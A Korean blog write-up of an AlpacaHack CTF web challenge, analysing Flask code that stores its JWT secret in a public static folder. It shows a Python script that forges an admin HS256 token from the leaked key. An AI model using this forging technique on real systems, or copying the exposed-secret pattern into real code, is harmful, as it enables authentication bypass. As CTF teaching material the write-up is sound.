반응형
Topic: JWT
분야: Web
난이도:Medium
Why do you need a dayabase?
코드분석
if not os.path.exists("static/jwt_secret.txt"):
JWT_SECRET = random.randbytes(32).hex()
with open("static/jwt_secret.txt", "w") as f:
f.write(JWT_SECRET)
else:
with open("static/jwt_secret.txt") as f:
JWT_SECRET = f.read()
JWT_EXP = 60 * 60
FLAG = os.environ.get("FLAG", "Alpaca{REDACTED}")
- "static/jwt_secret.txt"가 없다면 JWT_SECRET을 32바이트 랜덤으로 만들고, static/jwt_secret.txt에 덮어쓰겠다.
- 만약 있다면 그대로 읽고, 쓰겠다.
- JWT_EXP: JWT 만료시간(제한시간)을 1시간으로 설정
def issue_token(username: str) -> str:
payload = {
"sub": username,
"iat": int(time.time()),
"exp": int(time.time()) + JWT_EXP,
}
return jwt.encode(payload, JWT_SECRET, algorithm="HS256")
- username문자열을 입력받고 문자열 형태로 토큰을 돌려줌
- JWT안에는 sub, iat, exp 넣음
- sub: 주체로 username(사용자명)
- iat: 발급시간. 지금시간
- exp: 만료시간. 지금시간 + 1시간
- payload를 JWT_SECRET으로 HS256 방식으로 서명해서 리턴
def verify_token(token: str):
return jwt.decode(token, JWT_SECRET, algorithms=["HS256"])
- 토큰 검증용 함수
@app.get("/")
def index():
return render_template("login.html")
- index메인 화면은 login.html렌더링해서 보여줌
@app.post("/login")
def login():
username = request.form.get("username", "")
if not username:
return render_template("login.html", error="username required")
if username.lower() == "admin":
return render_template("login.html", error="admin is forbidden")
token = issue_token(username)
resp = make_response(redirect(url_for("dashboard")))
resp.set_cookie(
"token",
token,
httponly=True,
)
return resp
- username을 이용자로부터 입력받음
- username이 비어있으면 login.html 보여주면서 에러메시지 출력
- username이 admin은 login.html 보여주면서 admin접근 금지
- issue_token으로 JWT발급
- 응답 객체를 만들고 /dashboard로 리다이렉트하게 준비
- 쿠키 이름은 token이고, token에 JWT를 저장
- httponly=True로 JS로 쿠키를 못 읽게 하는 옵션
@app.get("/dashboard")
def dashboard():
token = request.cookies.get("token")
if not token:
return redirect(url_for("index"))
try:
payload = verify_token(token)
except:
return redirect(url_for("index"))
return render_template(
"dashboard.html",
username=payload["sub"],
flag=FLAG if payload["sub"] == "admin" else "No flag for you!"
- /dashboard는 쿠키에서 token을 꺼냄
- 토큰이 없으면 index로 돌아감
- verify_token()으로 토큰을 검사 → 실패 시 index로 돌아감
- 검증 서옹시 dashboard.html 렌더링하고 username에 payload["sub"]를 넘김
- sub가 admin일 때 FLAG 보여줌
취약점 분석
- /static/jwt_secret.txt에 아무나 접근이 가능함. → JWT_SECRET(비밀키)가 있음
- 또한 서명만 맞으면 sub=="admin"으로 플래그가 바로 노출됨.
→ 근데 비밀키가 노출되어 있음..
익스플로잇

/static/jwt_secret.txt에 들어가 비밀키를 확인
그다음, admin 토큰을 위조하기 위해 다음과 같은 페이로드 작성
import json, hmac, hashlib, base64
# 패딩 제거용 헬퍼 함수
def b64_encode(data):
return base64.urlsafe_b64encode(data).rstrip(b'=')
# 1. 시크릿 키 설정 (파일에서 읽어온 값 넣기)
key = b"여기에_secret_값_복붙"
# 2. 헤더랑 페이로드 구성
# 최대한 가볍게 가려고 한 줄로 밀어넣음
header = b64_encode(json.dumps({"alg":"HS256","typ":"JWT"}).encode())
payload = b64_encode(json.dumps({"sub":"admin"}).encode())
# 3. 서명(Signature) 만들기
raw_token = header + b"." + payload
signature = b64_encode(hmac.new(key, raw_token, hashlib.sha256).digest())
# 4. 최종 토큰 출력
jwt_token = (raw_token + b"." + signature).decode()
print(f"[+] Generated Token: \n{jwt_token}")
만들어진 admin 토큰을

쿠키에 token이란 이름으로 생성

/dashboard에서 확인해주면 끝
반응형
'Alpacahack' 카테고리의 다른 글
| Magic Engine (0) | 2026.02.05 |
|---|---|
| Alpacahack: No JS (0) | 2026.02.01 |
| Alpacahack: Animal Viewer (0) | 2026.01.22 |
| Alpacahack: dice roll (0) | 2026.01.21 |
| Alpacahack: secret-table (0) | 2026.01.20 |